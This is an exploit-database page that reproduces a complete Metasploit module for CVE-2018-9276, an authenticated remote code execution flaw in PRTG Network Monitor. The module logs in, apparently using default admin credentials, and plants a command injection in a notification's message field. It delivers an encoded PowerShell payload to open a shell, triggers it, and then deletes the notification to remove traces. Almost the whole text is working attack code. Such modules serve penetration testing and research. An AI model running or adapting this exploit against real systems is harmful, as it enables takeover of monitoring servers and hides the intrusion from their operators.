Advertisement






PRTG Network Monitor Remote Code Execution

CVE Category Price Severity
CVE-2018-9276 CWE-77 $15,000 Critical
Author Risk Exploitation Type Date
Yoway Buorn Critical Remote 2021-01-29
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010195

Below is a copy:

PRTG Network Monitor Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "PRTG Network Monitor Authenticated RCE",
      'Description'    => %q{
        Notifications can be created by an authenticated user and can execute scripts when triggered.
        Due to a poorly validated input on the script name, it is possible to chain it with a user-supplied command allowing command execution under the context of privileged user.
        The module uses provided credentials to log in to the web interface, then creates and triggers a malicious notification to perform RCE using a Powershell payload.
        It may require a few tries to get a shell because notifications are queued up on the server.
        This vulnerability affects versions prior to 18.2.39. See references for more details about the vulnerability allowing RCE.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Josh Berry <josh.berry[at]codewatch.org>', # original discovery
          'Julien Bedel <contact[at]julienbedel.com>', # module writer
        ],
      'References'     =>
        [
          ['CVE', '2018-9276'],
          ['URL', 'https://www.codewatch.org/blog/?p=453']
        ],
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'WfsDelay' => 30 # because notification triggers are queuded up on the server
      },
      'DisclosureDate' => '2018-06-25'))

    register_options(
      [
        OptString.new('ADMIN_USERNAME', [true, 'The username to authenticate as', 'prtgadmin']),
        OptString.new('ADMIN_PASSWORD', [true, 'The password for the specified username', 'prtgadmin'])
      ]
    )
  end

  def prtg_connect
    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
        'vars_post' => {
          'loginurl' => '',
          'username' => datastore['ADMIN_USERNAME'],
          'password' => datastore['ADMIN_PASSWORD']
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 302 && res.headers['LOCATION'] == '/home' && res.get_cookies
      @cookies = res.get_cookies.to_s
      print_good('Successfully logged in with provided credentials')
      vprint_status("Session cookies : #{@cookies}")
    else
      fail_with(Failure::NoAccess, 'Failed to authenticate to the web interface')
    end

  end

  def prtg_create_notification(cmd)
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'editsettings'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'name_' => Rex::Text.rand_text_alphanumeric(4..24),
          'active_' => '1',
          'schedule_' => '-1|None|',
          'postpone_' => '1',
          'summode_' => '2',
          'summarysubject_' => '[%sitename] %summarycount Summarized Notifications',
          'summinutes_' => '1',
          'accessrights_' => '1',
          'accessrights_201' => '0',
          'active_1' => '0',
          'addressuserid_1' => '-1',
          'addressgroupid_1' => '-1',
          'subject_1' => '[%sitename] %device %name %status %down (%message)',
          'contenttype_1' => 'text/html',
          'priority_1' => '0',
          'active_17' => '0',
          'addressuserid_17' => '-1',
          'addressgroupid_17' => '-1',
          'message_17' => '[%sitename] %device %name %status %down (%message)',
          'active_8' => '0',
          'addressuserid_8' => '-1',
          'addressgroupid_8' => '-1',
          'message_8' => '[%sitename] %device %name %status %down (%message)',
          'active_2' => '0',
          'eventlogfile_2' => 'application',
          'sender_2' => 'PRTG Network Monitor',
          'eventtype_2' => 'error',
          'message_2' => '[%sitename] %device %name %status %down (%message)',
          'active_13' => '0',
          'syslogport_13' => '514',
          'syslogfacility_13' => '1',
          'syslogencoding_13' => '1',
          'message_13' => '[%sitename] %device %name %status %down (%message)',
          'active_14' => '0',
          'snmpport_14' => '162',
          'snmptrapspec_14' => '0',
          'messageid_14' => '0',
          'message_14' => '[%sitename] %device %name %status %down (%message)',
          'active_9' => '0',
          'urlsniselect_9' => '0',
          'active_10' => '10',
          'address_10' => 'Demo EXE Notification - OutFile.ps1',
          'message_10' => "abcd; #{cmd}",
          'timeout_10' => '60',
          'active_15' => '0',
          'message_15' => '[%sitename] %device %name %status %down (%message)',
          'active_16' => '0',
          'isusergroup_16' => '1',
          'addressgroupid_16' => '200|PRTG Administrators',
          'ticketuserid_16' => '100|PRTG System Administrator',
          'subject_16' => '%device %name %status %down (%message)',
          'message_16' => 'Sensor: %name\r\nStatus: %status %down\r\n\r\nDate/Time: %datetime (%timezone)\r\nLast Result: %lastvalue\r\nLast Message: %message\r\n\r\nProbe: %probe\r\nGroup: %group\r\nDevice: %device (%host)\r\n\r\nLast Scan: %lastcheck\r\nLast Up: %lastup\r\nLast Down: %lastdown\r\nUptime: %uptime\r\nDowntime: %downtime\r\nCumulated since: %cumsince\r\nLocation: %location\r\n\r\n',
          'autoclose_16' => '1',
          'objecttype' => 'notification',
          'id' => 'new',
          'targeturl' => '/myaccount.htm?tabid=2'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 200 && res.get_json_document['objid'] && !res.get_json_document['objid'].empty?
      @objid = res.get_json_document['objid']
      print_good("Created malicious notification (objid=#{@objid})")
      vprint_status("Payload : #{cmd}")
    else
      fail_with(Failure::Unknown, 'Failed to create malicious notification')
    end

  end

  def prtg_trigger_notification
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'api', 'notificationtest.htm'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'id' => @objid
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res && res.code == 200 && (res.to_s.include? 'EXE notification is queued up')
      print_good('Triggered malicious notification')
    else
      fail_with(Failure::Unknown, 'Failed to trigger malicious notification')
    end

  end

  def prtg_delete_notification
    uri = datastore['URI']

    begin
      res = send_request_cgi({
        'method'   => 'POST',
        'uri'      => normalize_uri(uri, 'api', 'deleteobject.htm'),
        'cookie'   => @cookies,
        'headers'  => {
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'vars_post' => {
          'id' => @objid,
          'approve' => '1'
        }
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Failed to reach remote host')
    ensure
      disconnect
    end

    if res
      print_good('Deleted malicious notification')
    else
      fail_with(Failure::Unknown, 'Failed to delete malicious notification')
    end

  end

  def check
    begin
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(datastore['URI'], '/index.htm')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    ensure
      disconnect
    end

    if res && res.code == 200
      # checks for PRTG version in http headers first, if not found looks for it in html
      version_match = /\d{1,2}\.\d{1}\.\d{1,2}\.\d*/
      prtg_server_header = res.headers['Server']
      if prtg_server_header && prtg_server_header =~ version_match
        prtg_version = prtg_server_header[version_match]
      else
        html = res.get_html_document
        prtg_version_html = html.at('span[@class="prtgversion"]')
        if prtg_version_html && prtg_version_html.text =~ version_match
          prtg_version = prtg_version_html.text[version_match]
        end
      end

      if prtg_version
        vprint_status("Identified PRTG Network Monitor Version #{prtg_version}")
        if Gem::Version.new(prtg_version) < Gem::Version.new('18.2.39')
          return CheckCode::Appears
        else
          return CheckCode::Safe
        end
      elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')
        return CheckCode::Detected
      end
    end

    return CheckCode::Unknown
  end

  def exploit
    powershell_options = {
      #method: 'direct',
      remove_comspec: true,
      wrap_double_quotes: true,
      encode_final_payload: true
    }
    ps_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
    prtg_connect
    prtg_create_notification(ps_payload)
    prtg_trigger_notification
    prtg_delete_notification
    print_status("Waiting for payload execution.. (#{datastore['WfsDelay']} sec. max)")
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum